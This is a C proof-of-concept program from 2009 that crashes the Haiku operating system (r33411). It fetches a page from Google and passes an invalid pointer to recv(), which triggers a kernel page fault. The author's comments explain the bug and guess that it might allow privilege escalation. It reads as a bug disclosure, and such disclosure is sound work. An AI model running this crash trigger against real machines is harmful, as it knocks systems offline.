1 |
|
---|
2 | /*
|
---|
3 | kdl.cpp
|
---|
4 | (c)2009 Caitlin Shaw, GPL (as if anyone actually wants this)
|
---|
5 |
|
---|
6 |
|
---|
7 | * this program causes a "Page fault in kernel space" under Haiku r33411,
|
---|
8 | crashing the system via KDL. it contacts Google in order to get a remote peer
|
---|
9 | which will send data to it, thus it requires internet access to function.
|
---|
10 |
|
---|
11 | * the crash occurs because the recv() function apparently both runs from within
|
---|
12 | kernel space and does no checking on the validity of it's buffer, and so passing
|
---|
13 | an invalid pointer as the buffer to recv() will bring down the whole system.
|
---|
14 |
|
---|
15 | * have not checked but it seems it might possibly be a problem for priveledge
|
---|
16 | escalation? if the memory is being clobbered with ring 0 authority.
|
---|
17 |
|
---|
18 | * this is a distilled version of a bug discovered in one of my real programs.
|
---|
19 |
|
---|
20 | */
|
---|
21 |
|
---|
22 | #include <stdio.h>
|
---|
23 | #include <netdb.h>
|
---|
24 | #include <memory.h>
|
---|
25 | #include <sys/types.h>
|
---|
26 | #include <arpa/inet.h>
|
---|
27 | #include <netinet/tcp.h>
|
---|
28 | #include <unistd.h>
|
---|
29 | #include <fcntl.h>
|
---|
30 | #include <errno.h>
|
---|
31 |
|
---|
32 | unsigned int net_dnslookup(const char *host);
|
---|
33 | uint connect_tcp(uint ip, ushort port, int timeout_ms);
|
---|
34 | bool net_setnonblock(uint sock, bool enable);
|
---|
35 | int sendstr(short sock, const char *str);
|
---|
36 | char *decimalip(unsigned int ip);
|
---|
37 |
|
---|
38 |
|
---|
39 | int main(int argc, char **argv)
|
---|
40 | {
|
---|
41 | uint connect_ip;
|
---|
42 | uint sock;
|
---|
43 |
|
---|
44 | printf("welcome to kdl_computer\n");
|
---|
45 | printf("DNS lookup in progress...\n");
|
---|
46 |
|
---|
47 | connect_ip = net_dnslookup("www.google.com");
|
---|
48 |
|
---|
49 | printf("connecting to %s:80...\n", decimalip(connect_ip), 80);
|
---|
50 | sock = connect_tcp(connect_ip, 80, 5000);
|
---|
51 | if (!sock)
|
---|
52 | {
|
---|
53 | fprintf(stderr, "failed to connect to host");
|
---|
54 | return 1;
|
---|
55 | }
|
---|
56 |
|
---|
57 | printf("connected, sending request...\n");
|
---|
58 |
|
---|
59 | sendstr(sock, "GET / HTTP/1.1\r\n");
|
---|
60 | sendstr(sock, "\r\n");
|
---|
61 |
|
---|
62 | printf("\n************************************\n");
|
---|
63 | printf("* Prepare to die... *\n");
|
---|
64 | printf("************************************\n");
|
---|
65 |
|
---|
66 | char *buffer = (char *)42;
|
---|
67 | int size = recv(sock, buffer, sizeof(buffer), 0);
|
---|
68 |
|
---|
69 |
|
---|
70 | printf("\nif you're seeing this, your system has unfortunately failed to KDL.\n");
|
---|
71 | printf("sorry buddy, looks like you're out of luck.\n");
|
---|
72 | printf("received size = %d\n", size);
|
---|
73 |
|
---|
74 | return 0;
|
---|
75 | }
|
---|
76 |
|
---|
77 |
|
---|
78 | /*
|
---|
79 | void c------------------------------() {}
|
---|
80 | */
|
---|
81 |
|
---|
82 | // convert a hostname to an IP address via DNS.
|
---|
83 | unsigned int net_dnslookup(const char *host)
|
---|
84 | {
|
---|
85 | struct hostent *hosten;
|
---|
86 | unsigned long ip;
|
---|
87 |
|
---|
88 | printf("Resolving '%s' via DNS...\n", host);
|
---|
89 |
|
---|
90 | // attempt to resolve the hostname via DNS
|
---|
91 | hosten = gethostbyname(host);
|
---|
92 | if (hosten == NULL)
|
---|
93 | {
|
---|
94 | fprintf(stderr, "dnslookup: failed to resolve host: '%s'.", host);
|
---|
95 | return 0;
|
---|
96 | }
|
---|
97 | else
|
---|
98 | {
|
---|
99 | memcpy((char*)&ip, hosten->h_addr_list[0], 4);
|
---|
100 | return ntohl(ip);
|
---|
101 | }
|
---|
102 | }
|
---|
103 |
|
---|
104 | // attempts to connect to ip:port, and returns the new socket number if successful,
|
---|
105 | // else returns 0.
|
---|
106 | uint connect_tcp(uint ip, ushort port, int timeout_ms)
|
---|
107 | {
|
---|
108 | int conn_socket, result;
|
---|
109 | bool connected;
|
---|
110 | bool use_timeout;
|
---|
111 | struct sockaddr_in sain;
|
---|
112 |
|
---|
113 | if (!(conn_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))
|
---|
114 | {
|
---|
115 | fprintf(stderr, "connect_tcp: Failed to create socket.\n");
|
---|
116 | return 1;
|
---|
117 | }
|
---|
118 |
|
---|
119 | net_setnonblock(conn_socket, true);
|
---|
120 |
|
---|
121 | sain.sin_addr.s_addr = htonl(ip);
|
---|
122 | sain.sin_port = htons(port);
|
---|
123 | sain.sin_family = AF_INET;
|
---|
124 |
|
---|
125 | #define TICK_BASE 10
|
---|
126 | connected = false;
|
---|
127 | use_timeout = timeout_ms != 0;
|
---|
128 |
|
---|
129 | for(;;)
|
---|
130 | {
|
---|
131 | result = connect(conn_socket, (struct sockaddr *)&sain, sizeof(struct sockaddr_in));
|
---|
132 |
|
---|
133 | if (errno == EISCONN || result != -1)
|
---|
134 | {
|
---|
135 | connected = true;
|
---|
136 | break;
|
---|
137 | }
|
---|
138 |
|
---|
139 | if (errno == EINTR) break;
|
---|
140 |
|
---|
141 | if (use_timeout)
|
---|
142 | {
|
---|
143 | if (timeout_ms >= 0)
|
---|
144 | {
|
---|
145 | usleep(TICK_BASE * 1000);
|
---|
146 | timeout_ms -= TICK_BASE;
|
---|
147 | }
|
---|
148 | else break;
|
---|
149 | }
|
---|
150 | }
|
---|
151 |
|
---|
152 | net_setnonblock(conn_socket, false);
|
---|
153 |
|
---|
154 | if (connected)
|
---|
155 | {
|
---|
156 | return conn_socket;
|
---|
157 | }
|
---|
158 |
|
---|
159 | close(conn_socket);
|
---|
160 | return 0;
|
---|
161 | }
|
---|
162 |
|
---|
163 |
|
---|
164 | // set a socket to blocking or non-blocking mode.
|
---|
165 | bool net_setnonblock(uint sock, bool enable)
|
---|
166 | {
|
---|
167 | long fvalue;
|
---|
168 |
|
---|
169 | if ((fvalue = fcntl(sock, F_GETFL, NULL)) < 0)
|
---|
170 | {
|
---|
171 | fprintf(stderr, "net_setnonblock: Error fcntl(..., F_GETFL) (%s)", strerror(errno));
|
---|
172 | return 1;
|
---|
173 | }
|
---|
174 |
|
---|
175 | if (enable)
|
---|
176 | fvalue |= O_NONBLOCK;
|
---|
177 | else
|
---|
178 | fvalue &= ~O_NONBLOCK;
|
---|
179 |
|
---|
180 | if (fcntl(sock, F_SETFL, fvalue) < 0)
|
---|
181 | {
|
---|
182 | fprintf(stderr, "net_setnonblock: Error fcntl(..., F_SETFL) (%s)", strerror(errno));
|
---|
183 | return 1;
|
---|
184 | }
|
---|
185 |
|
---|
186 | return 0;
|
---|
187 | }
|
---|
188 |
|
---|
189 | // transmit a string out a socket.
|
---|
190 | int sendstr(short sock, const char *str)
|
---|
191 | {
|
---|
192 | return send(sock, str, strlen(str), 0);
|
---|
193 | }
|
---|
194 |
|
---|
195 | // convert a ipv4 address into display representation.
|
---|
196 | char *decimalip(unsigned int ip)
|
---|
197 | {
|
---|
198 | static char buffer[800];
|
---|
199 | sprintf(buffer, "%d.%d.%d.%d",
|
---|
200 | (ip>>24)&255, (ip>>16)&255, (ip>>8)&255, ip&255);
|
---|
201 | return buffer;
|
---|
202 | }
|
---|
203 |
|
---|
204 |
|
---|